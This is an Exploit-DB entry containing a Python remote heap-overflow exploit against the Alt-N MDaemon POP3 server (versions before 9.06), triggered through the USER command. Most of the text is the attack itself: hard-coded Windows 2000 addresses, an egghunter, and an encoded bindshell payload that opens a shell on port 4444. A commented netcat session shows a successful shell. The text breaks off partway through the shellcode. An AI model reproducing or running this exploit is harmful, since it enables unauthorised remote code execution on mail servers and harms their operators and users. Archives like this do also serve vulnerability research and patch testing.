Exploit-DB #2258
Description: Alt-N MDaemon POP3 Server < 9.06 - 'USER' Remote Heap Overflow
Type: remote
Platform: windows
Date: 2006-08-26
Author: muts

Exploit:
#!/usr/bin/python
import sys
import struct
import socket
from time import sleep
########################################################################################
# MDaemon Pre Authentication (USER) Heap Overflow 
# Code based on Leon Juranic's exploit
# Coded by muts - mati@see-security.com
# http://www.hackingdefined.com
# http://www.remote-exploit.org
# Tested on:
# 	Mdaemon 9.0.5
# 	Mdaemon 7.2.3
# 	Mdaemon 7.2.2
# 	Mdaemon 7.2.1
# 	Mdaemon 7.2.0
#		Possibly Others
#		PLEASE CONTINUE READING !
# Huge greets to xbxice and talz for leading me away from the darkness
########################################################################################
# Mdaemon is wierd. It seems like their developers decided to annoy everyone
# by making their software do unexpected things.
# The exploit overwrites UnhandledExceptionFilter, and jumps to an egghunter
# shellcode - which then scans the memory, and executes a bindshell on port 4444.
# 
# On some Win2k SP4 machines, I found SetUnhandledExceptionFilter at 0x00000214,
# for which I unfortunately had no explenation. 
# I later found out that these machines were fully patched ...
# After inspecting kernel32.dll from my SP4 (not fully patched) and comparing it to 
# todays' version, I noticed that the SetunhandledExceptionFilter function had changed, 
# and looks suspiciously similar to XP SP2... 
# Note that my unpatched win2k was last patched 2-3 weeks ago, 
# so I suspect this change is recent.
# The end of easy UnhandledExceptionFilter exploitation on Win2k ?
#
# So, this is a partially working exploit, on unpatched win2k boxes....
# Kiddies, treat this exploit as DOS :)
#
# I got 3 types of results with this code:
#
# 1. Shell :)	
# 2. Mdaemon process shoots up to 100%, scanning memory for shellcode that isn't there.
# 3. Plain ugly crash - oh well.
#
# At minimum, I'de check the UnhandledExceptionFilter address before running the exploit.
######################################################################################## 
# 
# C:\Documents and Settings\muts>nc -v 192.168[PII_REDACTED]
# 97DACBEC7CA4483 [192.168.220.128] 4444 (?) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
# 
# C:\MDaemon\APP>
########################################################################################

host="192.168.220.128"

ret = struct.pack("<L",0x7c2f62b6)	# 7c2f62b6 advapi.dll JMP ESI+48 SP4 No Patches
ueh = struct.pack("<L",0x7C54144C)	# SetUnhandledExceptionFilter 0x7C54144C win2k SP4 No Patches
tap = struct.pack("<L",0xeb169090)  	# Short Jump over some garbage

# skape's egghunter shellcode 

egghunter  ="\xeb\x21\x59\xb8\x74\x30\x30\x77\x51\x6a\xff\x33\xdb\x64\x89\x23"
egghunter +="\x6a\x02\x59\x8b\xfb\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f"
egghunter +="\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8"
egghunter +="\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3"

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum

shellcode  ="\x90\x90\x74\x30\x30\x77\x74\x30\x30\x77" # t00wt00w (!)
shellcode +="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
shellcode +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
shellcode +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
shellcode +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
shellcode +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
shellcode +="\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38"
shellcode +="\x4e\x46\x46\x52\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x48\x4e\x57"
shellcode +="\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48"
shellcode +="\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x48"
shellcode +="\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c"
shellcode +="\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
shellcode +="\x46\x4f\x4b\x53\x46\x45\x46\x32\x4a\x52\x45\x37\x45\x4e\x4b\x38"
shellcode +="\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
shellcode +="\x4b\x58\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x42\x4b\x38"
shellcode +="\x49\x58\x4e\x46\x46\x52\x4e\x31\x41\x46\x43\x4c\x41\x53\x4b\x4d"
shellcode +="\x46\x56\x4b\x58\x43\x44\x42\x33\x4b\x48\x42\x54\x4e\x30\x4b\x38"
shellcode +="\x42\x57\x4e\x51\x4d\x4a\x4b\x58\x42\x54\x4a\x50\x50\x45\x4a\x46"
shellcode +="\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56"
shellcode +="\x43\x35\x48\x46\x4a\x56\x43\x43\x44\x43\x4a\x36\x47\x47\x43\x57"
shellcode +="\x44\x33\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"
shellcode +="\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x38\x45\x4e"
shellcode +="\x48\x36\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x55\x4c\x36\x44\x50"
shellcode +="\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
shellcode +="\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x45\x43\x35\x43\x55\x43\x34"
shellcode +="\x43\x45\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x51"
shellcode +="\x4e\x35\x48\x46\x43\x35\x49\x38\x41\x4e\x45\x39\x4a\x46\x46\x4a"
shellcode +="\x4c\x51\x42\x37\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x51"
shellcode +="\x41\x35\x45\x55\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x42"
shellcode +="\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x55\x4f\x4f\x42\x4d"
shellcode +="\x4a\x46\x45\x4e\x49\x44\x48\x48\x49\x34\x47\x55\x4f\x4f\x48\x4d"
shellcode +="\x42\x35\x46\x35\x46\x35\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x56"
shellcode +="\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x55\x4f\x4f\x48\x4d\x45\x45"
shellcode +="\x4f\x4f\x42\x4d\x48\x56\x4c\x56\x46\x56\x48\x56\x4a\x46\x43\x46"
shellcode +="\x4d\x46\x49\x38\x45\x4e\x4c\x46\x42\x55\x49\x55\x49\x32\x4e\x4c"
shellcode +="\x49\x38\x47\x4e\x4c\x36\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c"
shellcode +="\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x5